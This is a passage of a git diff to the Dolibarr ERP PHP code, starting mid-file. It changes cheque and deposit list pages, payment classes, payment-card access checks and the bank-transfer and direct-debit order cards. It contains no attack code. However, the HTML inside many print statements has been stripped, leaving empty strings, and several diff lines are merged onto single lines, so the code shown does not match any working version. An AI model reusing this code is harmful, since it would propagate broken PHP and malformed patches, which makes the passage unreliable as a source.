      '; -$sql = "SELECT count(b.rowid)"; -$sql .= " FROM ".MAIN_DB_PREFIX."bank as b"; -$sql .= ", ".MAIN_DB_PREFIX."bank_account as ba"; -$sql .= " WHERE ba.rowid = b.fk_account"; -$sql .= " AND ba.entity IN (".getEntity('bank_account').")"; -$sql .= " AND b.fk_type = 'CHQ'"; -$sql .= " AND b.fk_bordereau = 0"; -$sql .= " AND b.amount > 0"; - -$resql = $db->query($sql); - +print '
      '; print ''; print ''; -print '\n"; +print '\n"; print "\n"; -if ($resql) { - if ($row = $db->fetch_row($resql)) { - $num = $row[0]; +foreach ($arrayofpaymentmodetomanage as $val) { + $sql = "SELECT count(b.rowid) as nb"; + $sql .= " FROM ".MAIN_DB_PREFIX."bank as b"; + $sql .= ", ".MAIN_DB_PREFIX."bank_account as ba"; + $sql .= " WHERE ba.rowid = b.fk_account"; + $sql .= " AND ba.entity IN (".getEntity('bank_account').")"; + $sql .= " AND b.fk_type = '".$db->escape($val)."'"; + $sql .= " AND b.fk_bordereau = 0"; + $sql .= " AND b.amount > 0"; + + $resql = $db->query($sql); + if ($resql) { + $num = ''; + if ($obj = $db->fetch_object($resql)) { + $num = $obj->nb; + } + print ''; + print ''; + print ''; + } else { + dol_print_error($db); } - print ''; - print ''; - print ''; - print "
      '.$langs->trans("BankChecks")."'.$langs->trans("DocumentsForDeposit")."
      '; + if ($val == 'CHQ') { + print $langs->trans("BankChecks"); + } else { + print ($langs->trans("PaymentType".$val) != "PaymentType".$val ? $langs->trans("PaymentType".$val) : $langs->trans("PaymentMode").' '.$val); + } + print ''; + print ''.dol_escape_htmltag($num).''; + print '
      '.$langs->trans("BankChecksToReceipt").''; - print ''.$num.''; - print '
      \n"; -} else { - dol_print_error($db); } +print "
      \n"; + print '
      '; $max = 10; -$sql = "SELECT bc.rowid, bc.date_bordereau as db, bc.amount, bc.ref as ref,"; -$sql .= " bc.statut, bc.nbcheque,"; -$sql .= " ba.ref as bref, ba.label, ba.rowid as bid, ba.number, ba.currency_code, ba.account_number, ba.fk_accountancy_journal,"; -$sql .= " aj.code"; -$sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque as bc, ".MAIN_DB_PREFIX."bank_account as ba"; -$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_journal as aj ON aj.rowid = ba.fk_accountancy_journal"; -$sql .= " WHERE ba.rowid = bc.fk_bank_account"; -$sql .= " AND bc.entity = ".$conf->entity; -$sql .= " ORDER BY bc.date_bordereau DESC, rowid DESC"; -$sql .= $db->plimit($max); +foreach ($arrayofpaymentmodetomanage as $val) { + $sql = "SELECT bc.rowid, bc.date_bordereau as db, bc.amount, bc.ref as ref,"; + $sql .= " bc.statut, bc.nbcheque, bc.type,"; + $sql .= " ba.ref as bref, ba.label, ba.rowid as bid, ba.number, ba.currency_code, ba.account_number, ba.fk_accountancy_journal,"; + $sql .= " aj.code"; + $sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque as bc, ".MAIN_DB_PREFIX."bank_account as ba"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_journal as aj ON aj.rowid = ba.fk_accountancy_journal"; + $sql .= " WHERE ba.rowid = bc.fk_bank_account"; + $sql .= " AND bc.entity = ".((int) $conf->entity); + $sql .= " AND bc.type = '".$db->escape($val)."'"; + $sql .= " ORDER BY bc.date_bordereau DESC, rowid DESC"; + $sql .= $db->plimit($max); -$resql = $db->query($sql); -if ($resql) { - print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table - print ''; - print ''; - print ''; - print '"; - print ''; - print ''; - print ''; - print ''; - print "\n"; + $resql = $db->query($sql); + if ($resql) { + print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table + print '
      '.$langs->trans("LastCheckReceiptShort", $max).''.$langs->trans("Date")."'.$langs->trans("Account").''.$langs->trans("NbOfCheques").''.$langs->trans("Amount").''.$langs->trans("Status").'
      '; + print ''; + print ''; + print '"; + print ''; + print ''; + print ''; + print ''; + print "\n"; - while ($objp = $db->fetch_object($resql)) { - $checkdepositstatic->id = $objp->rowid; - $checkdepositstatic->ref = ($objp->ref ? $objp->ref : $objp->rowid); - $checkdepositstatic->statut = $objp->statut; + $i = 0; + while ($objp = $db->fetch_object($resql)) { + $i++; - $accountstatic->id = $objp->bid; - $accountstatic->ref = $objp->bref; - $accountstatic->label = $objp->label; - $accountstatic->number = $objp->number; - $accountstatic->currency_code = $objp->currency_code; - $accountstatic->account_number = $objp->account_number; - $accountstatic->accountancy_journal = $objp->code; - $accountstatic->fk_accountancy_journal = $objp->fk_accountancy_journal; + $checkdepositstatic->id = $objp->rowid; + $checkdepositstatic->ref = ($objp->ref ? $objp->ref : $objp->rowid); + $checkdepositstatic->statut = $objp->statut; - print ''."\n"; + $accountstatic->id = $objp->bid; + $accountstatic->ref = $objp->bref; + $accountstatic->label = $objp->label; + $accountstatic->number = $objp->number; + $accountstatic->currency_code = $objp->currency_code; + $accountstatic->account_number = $objp->account_number; + $accountstatic->accountancy_journal = $objp->code; + $accountstatic->fk_accountancy_journal = $objp->fk_accountancy_journal; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; + print ''."\n"; - print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + + print ''; + } + if ($i == 0) { + print ''; + } + print "
      '; + if ($val == 'CHQ') { + print $langs->trans("LastCheckReceiptShort", $max); + } else { + $labelpaymentmode = ($langs->trans("PaymentType".$val) != "PaymentType".$val ? $langs->trans("PaymentType".$val) : $val); + print $langs->trans("LastPaymentForDepositShort", $max, $labelpaymentmode); + } + print ''.$langs->trans("Date")."'.$langs->trans("Account").''.$langs->trans("NbOfCheques").''.$langs->trans("Amount").''.$langs->trans("Status").'
      '.$checkdepositstatic->getNomUrl(1).''.dol_print_date($db->jdate($objp->db), 'day').''.$accountstatic->getNomUrl(1).''.$objp->nbcheque.''.price($objp->amount).''.$checkdepositstatic->LibStatut($objp->statut, 3).'
      '.$checkdepositstatic->getNomUrl(1).''.dol_print_date($db->jdate($objp->db), 'day').''.$accountstatic->getNomUrl(1).''.$objp->nbcheque.''.price($objp->amount).''.$checkdepositstatic->LibStatut($objp->statut, 3).'
      '.$langs->trans("None").'
      "; + print '
      '; + + $db->free($resql); + } else { + dol_print_error($db); } - print ""; - print '
      '; - - $db->free($resql); -} else { - dol_print_error($db); } - print '
      '; // End of page diff --git a/htdocs/compta/paiement/cheque/list.php b/htdocs/compta/paiement/cheque/list.php index 9ab1ab7f1bd..11748c5c870 100644 --- a/htdocs/compta/paiement/cheque/list.php +++ b/htdocs/compta/paiement/cheque/list.php @@ -44,6 +44,7 @@ $result = restrictedArea($user, 'banque', '', ''); $search_ref = GETPOST('search_ref', 'alpha'); $search_account = GETPOST('search_account', 'int'); $search_amount = GETPOST('search_amount', 'alpha'); +$mode = GETPOST('mode', 'alpha'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); @@ -59,7 +60,7 @@ if (!$sortorder) { $sortorder = "DESC"; } if (!$sortfield) { - $sortfield = "dp"; + $sortfield = "bc.date_bordereau"; } $year = GETPOST("year"); @@ -72,6 +73,16 @@ $formother = new FormOther($db); $checkdepositstatic = new RemiseCheque($db); $accountstatic = new Account($db); +// List of payment mode to support +// Example: BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT = 'CHQ','TRA' +$arrayofpaymentmodetomanage = explode(',', getDolGlobalString('BANK_PAYMENT_MODES_FOR_DEPOSIT_MANAGEMENT', 'CHQ')); + +$arrayoflabels = array(); +foreach ($arrayofpaymentmodetomanage as $key => $val) { + $labelval = ($langs->trans("PaymentType".$val) != "PaymentType".$val ? $langs->trans("PaymentType".$val) : $val); + $arrayoflabels[$key] = $labelval; +} + /* * Actions @@ -92,15 +103,18 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' * View */ -llxHeader('', $langs->trans("ChequesReceipts")); +llxHeader('', $langs->trans("ChequeDeposits")); -$sql = "SELECT bc.rowid, bc.ref as ref, bc.date_bordereau as dp,"; -$sql .= " bc.nbcheque, bc.amount, bc.statut,"; +$sql = "SELECT bc.rowid, bc.ref, bc.date_bordereau,"; +$sql .= " bc.nbcheque, bc.amount, bc.statut, bc.type,"; $sql .= " ba.rowid as bid, ba.label"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."bordereau_cheque as bc,"; $sql .= " ".MAIN_DB_PREFIX."bank_account as ba"; $sql .= " WHERE bc.fk_bank_account = ba.rowid"; -$sql .= " AND bc.entity = ".$conf->entity; +$sql .= " AND bc.entity = ".((int) $conf->entity); // Search criteria if ($search_ref) { @@ -114,19 +128,31 @@ if ($search_amount) { } $sql .= dolSqlDateFilter('bc.date_bordereau', 0, $month, $year); -$sql .= $db->order($sortfield, $sortorder); - +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} //print "$sql"; $resql = $db->query($sql); @@ -134,6 +160,9 @@ if ($resql) { $num = $db->num_rows($resql); $i = 0; $param = ''; + if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); + } if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.$contextpage; } @@ -145,7 +174,10 @@ if ($resql) { if (!empty($socid)) { $url .= '&socid='.$socid; } - $newcardbutton = dolGetButtonTitle($langs->trans('NewCheckDeposit'), '', 'fa fa-plus-circle', $url, '', $user->rights->banque->cheque); + $newcardbutton = ''; + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); + $newcardbutton .= dolGetButtonTitle($langs->trans('NewCheckDeposit'), '', 'fa fa-plus-circle', $url, '', $user->rights->banque->cheque); print ''; if ($optioncss != '') { @@ -157,6 +189,8 @@ if ($resql) { print ''; print ''; print ''; + print ''; + print_barre_liste($langs->trans("MenuChequeDeposits"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'bank_account', 0, $newcardbutton, '', $limit); @@ -167,10 +201,13 @@ if ($resql) { // Fields title search print ''; - print ''; + print ''; print ''; print ''; - print ''; + // Type + print ''; + print ''; + print ''; if (!empty($conf->global->MAIN_LIST_FILTER_ON_DAY)) { print ''; } @@ -193,7 +230,8 @@ if ($resql) { print ''; print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "bc.ref", "", $param, "", $sortfield, $sortorder); - print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "dp", "", $param, 'align="center"', $sortfield, $sortorder); + print_liste_field_titre("Type", $_SERVER["PHP_SELF"], "bc.type", "", $param, "", $sortfield, $sortorder); + print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "bc.date_bordereau", "", $param, 'align="center"', $sortfield, $sortorder); print_liste_field_titre("Account", $_SERVER["PHP_SELF"], "ba.label", "", $param, "", $sortfield, $sortorder); print_liste_field_titre("NbOfCheques", $_SERVER["PHP_SELF"], "bc.nbcheque", "", $param, 'class="right"', $sortfield, $sortorder); print_liste_field_titre("Amount", $_SERVER["PHP_SELF"], "bc.amount", "", $param, 'class="right"', $sortfield, $sortorder); @@ -202,45 +240,72 @@ if ($resql) { print "\n"; if ($num > 0) { - while ($i < min($num, $limit)) { + $imaxinloop = ($limit ? min($num, $limit) : $num); + while ($i < $imaxinloop) { $objp = $db->fetch_object($resql); - print ''; - - // Num ref cheque - print ''; $checkdepositstatic->id = $objp->rowid; $checkdepositstatic->ref = ($objp->ref ? $objp->ref : $objp->rowid); $checkdepositstatic->statut = $objp->statut; - print $checkdepositstatic->getNomUrl(1); - print ''; + $checkdepositstatic->nbcheque = $objp->nbcheque; + $checkdepositstatic->amount = $objp->amount; + $checkdepositstatic->date_bordereau = $objp->date_bordereau; + $checkdepositstatic->type = $objp->type; - // Date - print ''.dol_print_date($db->jdate($objp->dp), 'day').''; // TODO Use date hour + $account = new Account($db); + $account->fetch($objp->bid); + $checkdepositstatic->account_id = $account->getNomUrl(1); - // Bank - print ''; - if ($objp->bid) { - print ''.img_object($langs->trans("ShowAccount"), 'account').' '.$objp->label.''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + print '
      '; + } + // Output Kanban + print $checkdepositstatic->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print ''; + } } else { - print ' '; + print ''; + + // Num ref cheque + print ''; + print $checkdepositstatic->getNomUrl(1); + print ''; + + // Type + $labelpaymentmode = ($langs->transnoentitiesnoconv("PaymentType".$checkdepositstatic->type) != "PaymentType".$checkdepositstatic->type ? $langs->transnoentitiesnoconv("PaymentType".$checkdepositstatic->type) : $checkdepositstatic->type); + print ''.dol_escape_htmltag($labelpaymentmode).''; + + // Date + print ''.dol_print_date($db->jdate($objp->date_bordereau), 'dayhour', 'tzuser').''; + + // Bank + print ''; + if ($objp->bid) { + print ''.img_object($langs->trans("ShowAccount"), 'account').' '.$objp->label.''; + } else { + print ' '; + } + print ''; + + // Number of cheques + print ''.$objp->nbcheque.''; + + // Amount + print ''.price($objp->amount).''; + + // Statut + print ''; + print $checkdepositstatic->LibStatut($objp->statut, 5); + print ''; + + print ''; + + print "\n"; } - print ''; - - // Number of cheques - print ''.$objp->nbcheque.''; - - // Amount - print ''.price($objp->amount).''; - - // Statut - print ''; - print $checkdepositstatic->LibStatut($objp->statut, 5); - print ''; - - print ''; - - print "\n"; $i++; } } else { diff --git a/htdocs/compta/paiement/class/cpaiement.class.php b/htdocs/compta/paiement/class/cpaiement.class.php index 1c7abf71c3b..77f15d6bde0 100644 --- a/htdocs/compta/paiement/class/cpaiement.class.php +++ b/htdocs/compta/paiement/class/cpaiement.class.php @@ -3,6 +3,7 @@ * Copyright (C) 2014 Juanjo Menent * Copyright (C) 2015 Florian Henry * Copyright (C) 2015 Raphaël Doursenaud + * Copyright (C) 2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -30,6 +31,11 @@ */ class Cpaiement { + /** + * @var DoliDB Database handler. + */ + public $db; + /** * @var string Id to identify managed objects */ diff --git a/htdocs/compta/paiement/class/paiement.class.php b/htdocs/compta/paiement/class/paiement.class.php index ec1392e9ea7..f573ec5be56 100644 --- a/htdocs/compta/paiement/class/paiement.class.php +++ b/htdocs/compta/paiement/class/paiement.class.php @@ -11,6 +11,7 @@ * Copyright (C) 2018-2022 Frédéric France * Copyright (C) 2020 Andreu Bisquerra Gaya * Copyright (C) 2021 OpenDsi + * Copyright (C) 2023 Joachim Kueter * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -275,9 +276,8 @@ class Paiement extends CommonObject return -1; } if (empty($currencyofpayment)) { - $currencyofpayment = $this->multicurrency_code[$key]; - } - if ($currencyofpayment != $this->multicurrency_code[$key]) { + $currencyofpayment = isset($this->multicurrency_code[$key]) ? $this->multicurrency_code[$key] : ""; + } elseif ($currencyofpayment != $this->multicurrency_code[$key]) { // If we have invoices with different currencies in the payment, we stop here $this->error = 'ErrorYouTryToPayInvoicesWithDifferentCurrenciesInSamePayment'; return -1; @@ -383,7 +383,19 @@ class Paiement extends CommonObject if (!in_array($invoice->type, $affected_types)) { dol_syslog("Invoice ".$facid." is not a standard, nor replacement invoice, nor credit note, nor deposit invoice, nor situation invoice. We do nothing more."); } elseif ($remaintopay) { - dol_syslog("Remain to pay for invoice ".$facid." not null. We do nothing more."); + // hook to have an option to automatically close a closable invoice with less payment than the total amount (e.g. agreed cash discount terms) + global $hookmanager; + $hookmanager->initHooks(array('paymentdao')); + $parameters = array('facid' => $facid, 'invoice' => $invoice, 'remaintopay' => $remaintopay); + $action = 'CLOSEPAIDINVOICE'; + $reshook = $hookmanager->executeHooks('createPayment', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks + if ($reshook < 0) { + $this->errors[] = $hookmanager->error; + $this->error = $hookmanager->error; + $error++; + } elseif ($reshook == 0) { + dol_syslog("Remain to pay for invoice " . $facid . " not null. We do nothing more."); + } // } else if ($mustwait) dol_syslog("There is ".$mustwait." differed payment to process, we do nothing more."); } else { // If invoice is a down payment, we also convert down payment to discount @@ -643,6 +655,8 @@ class Paiement extends CommonObject $acc = new Account($this->db); $result = $acc->fetch($this->fk_account); if ($result < 0) { + $this->error = $acc->error; + $this->errors = $acc->errors; $error++; return -1; } @@ -768,7 +782,7 @@ class Paiement extends CommonObject } // Add link 'InvoiceRefused' in bank_url - if (! $error && $label == '(InvoiceRefused)') { + if (!$error && $label == '(InvoiceRefused)') { $result=$acc->add_url_line( $bank_line_id, $this->id_prelevement, @@ -788,6 +802,7 @@ class Paiement extends CommonObject } } else { $this->error = $acc->error; + $this->errors = $acc->errors; $error++; } diff --git a/htdocs/compta/paiement/list.php b/htdocs/compta/paiement/list.php index 6deab76a20e..6db18f6aa55 100644 --- a/htdocs/compta/paiement/list.php +++ b/htdocs/compta/paiement/list.php @@ -195,6 +195,9 @@ if (GETPOST("orphelins", "alpha")) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + + $sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."paiement as p"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_paiement as c ON p.fk_paiement = c.id"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank as b ON p.fk_bank = b.rowid"; @@ -255,21 +258,33 @@ if (GETPOST("orphelins", "alpha")) { $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; } -$sql .= $db->order($sortfield, $sortorder); +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } - // if total resultset is smaller then paging size (filtering), goto and load page 0 - if (($page * $limit) > $nbtotalofrecords) { + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); if (!$resql) { @@ -498,6 +513,7 @@ foreach ($arrayfields as $column) { $i = 0; $totalarray = array(); +$totalarray['nbfield'] = 0; while ($i < min($num, $limit)) { $objp = $db->fetch_object($resql); @@ -605,7 +621,11 @@ while ($i < min($num, $limit)) { $totalarray['nbfield']++; } $totalarray['pos'][$checkedCount] = 'amount'; - $totalarray['val']['amount'] += $objp->amount; + if (empty($totalarray['val']['amount'])) { + $totalarray['val']['amount'] = $objp->amount; + } else { + $totalarray['val']['amount'] += $objp->amount; + } } // Status diff --git a/htdocs/compta/payment_sc/card.php b/htdocs/compta/payment_sc/card.php index 39bac75ba0c..11f7f1e454f 100644 --- a/htdocs/compta/payment_sc/card.php +++ b/htdocs/compta/payment_sc/card.php @@ -46,8 +46,6 @@ $confirm = GETPOST('confirm', 'aZ09'); if ($user->socid) { $socid = $user->socid; } -// TODO ajouter regle pour restreindre acces paiement -//$result = restrictedArea($user, 'facture', $id,''); $object = new PaymentSocialContribution($db); if ($id > 0) { @@ -57,13 +55,15 @@ if ($id > 0) { } } +$result = restrictedArea($user, 'payment_sc', $id, ''); + /* * Actions */ // Delete payment -if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->tax->charges->supprimer) { +if ($action == 'confirm_delete' && $confirm == 'yes' && $user->hasRight('tax', 'charges', 'supprimer')) { $db->begin(); $result = $object->delete($user); @@ -77,6 +77,16 @@ if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->tax->char } } +/*if ($action == 'setdatep' && GETPOST('datepday') && $user->hasRight('tax', 'charges', 'creer')) { + $datepaye = dol_mktime(GETPOST('datephour', 'int'), GETPOST('datepmin', 'int'), GETPOST('datepsec', 'int'), GETPOST('datepmonth', 'int'), GETPOST('datepday', 'int'), GETPOST('datepyear', 'int')); + $res = $object->update_date($datepaye); + if ($res === 0) { + setEventMessages($langs->trans('PaymentDateUpdateSucceeded'), null, 'mesgs'); + } else { + setEventMessages($langs->trans('PaymentDateUpdateFailed'), null, 'errors'); + } +}*/ + /* * View diff --git a/htdocs/compta/paymentbybanktransfer/index.php b/htdocs/compta/paymentbybanktransfer/index.php index ba37fde1ba5..7331aee48fa 100644 --- a/htdocs/compta/paymentbybanktransfer/index.php +++ b/htdocs/compta/paymentbybanktransfer/index.php @@ -86,7 +86,7 @@ print ''.$langs->trans("Statistics").''.$langs->trans("NbOfInvoiceToPayByBankTransfer").''; print ''; -print ''; +print ''; print $bprev->nbOfInvoiceToPay('bank-transfer'); print ''; print ''; @@ -183,7 +183,8 @@ if ($resql) { $i++; } } else { - print ''.$langs->trans("NoSupplierInvoiceToWithdraw", $langs->transnoentitiesnoconv("BankTransfer")).''; + $titlefortab = $langs->transnoentitiesnoconv("BankTransfer"); + print ''.$langs->trans("NoSupplierInvoiceToWithdraw", $titlefortab, $titlefortab).''; } print "
      "; } else { diff --git a/htdocs/compta/prelevement/card.php b/htdocs/compta/prelevement/card.php index 8be48493d08..727b3b85f48 100644 --- a/htdocs/compta/prelevement/card.php +++ b/htdocs/compta/prelevement/card.php @@ -54,10 +54,10 @@ $pageprev = $page - 1; $pagenext = $page + 1; if (!$sortfield) { - $sortfield = 'pl.fk_soc'; + $sortfield = 'pl.rowid'; } if (!$sortorder) { - $sortorder = 'DESC'; + $sortorder = 'ASC'; } $object = new BonPrelevement($db); @@ -71,11 +71,22 @@ $type = $object->type; if ($type == 'bank-transfer') { $result = restrictedArea($user, 'paymentbybanktransfer', '', '', ''); + + $permissiontoadd = $user->hasRight('paymentbybanktransfer', 'read'); + $permissiontosend = $user->hasRight('paymentbybanktransfer', 'send'); + $permissiontocreditdebit = $user->hasRight('paymentbybanktransfer', 'debit'); + $permissiontodelete = $user->hasRight('paymentbybanktransfer', 'read'); } else { $result = restrictedArea($user, 'prelevement', '', '', 'bons'); + + $permissiontoadd = $user->hasRight('prelevement', 'bons', 'read'); + $permissiontosend = $user->hasRight('prelevement', 'bons', 'send'); + $permissiontocreditdebit = $user->hasRight('prelevement', 'bons', 'credit'); + $permissiontodelete = $user->hasRight('prelevement', 'bons', 'read'); } + /* * Actions */ @@ -87,20 +98,13 @@ if ($reshook < 0) { } if (empty($reshook)) { - if ($action == 'confirm_delete') { - $savtype = $object->type; - $res = $object->delete($user); - if ($res > 0) { - if ($savtype == 'bank-transfer') { - header("Location: ".DOL_URL_ROOT.'/compta/paymentbybanktransfer/index.php'); - } else { - header("Location: ".DOL_URL_ROOT.'/compta/prelevement/index.php'); - } - exit; - } + if ($action == 'setbankaccount' && $permissiontoadd) { + $object->oldcopy = dol_clone($object); + $object->fk_bank_account = GETPOST('fk_bank_account', 'int'); + $object->update($user); } - if ($action == 'infotrans' && (($user->rights->prelevement->bons->send && $object->type != 'bank-transfer') || ($user->rights->paymentbybanktransfer->send && $object->type == 'bank-transfer'))) { + if ($action == 'infotrans' && $permissiontosend) { require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $dt = dol_mktime(12, 0, 0, GETPOST('remonth', 'int'), GETPOST('reday', 'int'), GETPOST('reyear', 'int')); @@ -133,7 +137,7 @@ if (empty($reshook)) { } // Set direct debit order to credited, create payment and close invoices - if ($action == 'infocredit' && (($user->rights->prelevement->bons->credit && $object->type != 'bank-transfer') || ($user->rights->paymentbybanktransfer->debit && $object->type == 'bank-transfer'))) { + if ($action == 'infocredit' && $permissiontocreditdebit) { $dt = dol_mktime(12, 0, 0, GETPOST('remonth', 'int'), GETPOST('reday', 'int'), GETPOST('reyear', 'int')); if (($object->type != 'bank-transfer' && $object->statut == BonPrelevement::STATUS_CREDITED) || ($object->type == 'bank-transfer' && $object->statut == BonPrelevement::STATUS_DEBITED)) { @@ -147,6 +151,19 @@ if (empty($reshook)) { setEventMessages($object->error, $object->errors, 'errors'); } } + + if ($action == 'confirm_delete' && $permissiontodelete) { + $savtype = $object->type; + $res = $object->delete($user); + if ($res > 0) { + if ($savtype == 'bank-transfer') { + header("Location: ".DOL_URL_ROOT.'/compta/paymentbybanktransfer/index.php'); + } else { + header("Location: ".DOL_URL_ROOT.'/compta/prelevement/index.php'); + } + exit; + } + } } @@ -179,13 +196,6 @@ if ($id > 0 || $ref) { print ''.$langs->trans("Amount").''.price($object->amount).''; - // Status - /* - print ''.$langs->trans('Status').''; - print ''.$object->getLibStatut(1).''; - print ''; - */ - if (!empty($object->date_trans)) { $muser = new User($db); $muser->fetch($object->user_trans); @@ -210,23 +220,53 @@ if ($id > 0 || $ref) { print '
      '; print ''; + // Get bank account for the payment $acc = new Account($db); - $result = $acc->fetch(($object->type == 'bank-transfer' ? $conf->global->PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT : $conf->global->PRELEVEMENT_ID_BANKACCOUNT)); + $fk_bank_account = $object->fk_bank_account; + if (empty($fk_bank_account)) { + $fk_bank_account = ($object->type == 'bank-transfer' ? getDolGlobalInt('PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT') : getDolGlobalInt('PRELEVEMENT_ID_BANKACCOUNT')); + } + if ($fk_bank_account > 0) { + $result = $acc->fetch($fk_bank_account); + } - print ''; print ''; print ''; + */ + print '"; + print ''; + // Donwload file print ''; print ''; - if ($object->date_trans <> 0) { + if (!empty($object->date_trans)) { $muser = new User($db); $muser->fetch($object->user_trans); @@ -116,7 +116,7 @@ if ($id > 0 || $ref) { print $object->methodes_trans[$object->method_trans]; print ''; } - if ($object->date_credit <> 0) { + if (!empty($object->date_credit)) { print ''; @@ -129,15 +129,23 @@ if ($id > 0 || $ref) { print '
      '; print '
      '; + // Bank account $labelofbankfield = "BankToReceiveWithdraw"; if ($object->type == 'bank-transfer') { $labelofbankfield = 'BankToPayCreditTransfer'; } - print $langs->trans($labelofbankfield); + //print $langs->trans($labelofbankfield); + $caneditbank = $permissiontoadd; + if ($object->status != $object::STATUS_DRAFT) { + $caneditbank = 0; + } + /* + print '
      '; + print $form->editfieldkey($langs->trans($labelofbankfield), 'fk_bank_account', $acc->id, $object, $caneditbank); print ''; - if ($acc->id > 0) { - print $acc->getNomUrl(1); - } + print $form->editfieldval($langs->trans($labelofbankfield), 'fk_bank_account', $acc->id, $acc, $caneditbank, 'string', '', null, null, '', 1, 'getNomUrl'); print '
      '; + print ''; + } + print '
      '; + print $form->textwithpicto($langs->trans("BankAccount"), $langs->trans($labelofbankfield)); + print ''; + if (($action != 'editbankaccount') && $caneditbank) { + print 'id.'">'.img_edit($langs->trans('SetBankAccount'), 1).'
      '; + print '
      '; + if ($action == 'editfkbankaccount') { + $form->formSelectAccount($_SERVER['PHP_SELF'].'?id='.$object->id, $fk_bank_account, 'fk_bank_account', 0); + } else { + $form->formSelectAccount($_SERVER['PHP_SELF'].'?id='.$object->id, $fk_bank_account, 'none'); + } + print "
      '; $labelfororderfield = 'WithdrawalFile'; if ($object->type == 'bank-transfer') { @@ -272,7 +312,7 @@ if ($id > 0 || $ref) { print $formconfirm; - if (empty($object->date_trans) && $user->rights->prelevement->bons->send && $action == 'settransmitted') { + if (empty($object->date_trans) && (($user->rights->prelevement->bons->send && $object->type != 'bank-transfer') || ($user->rights->paymentbybanktransfer->send && $object->type == 'bank-transfer')) && $action == 'settransmitted') { print ''; print ''; print ''; @@ -291,7 +331,7 @@ if ($id > 0 || $ref) { print '
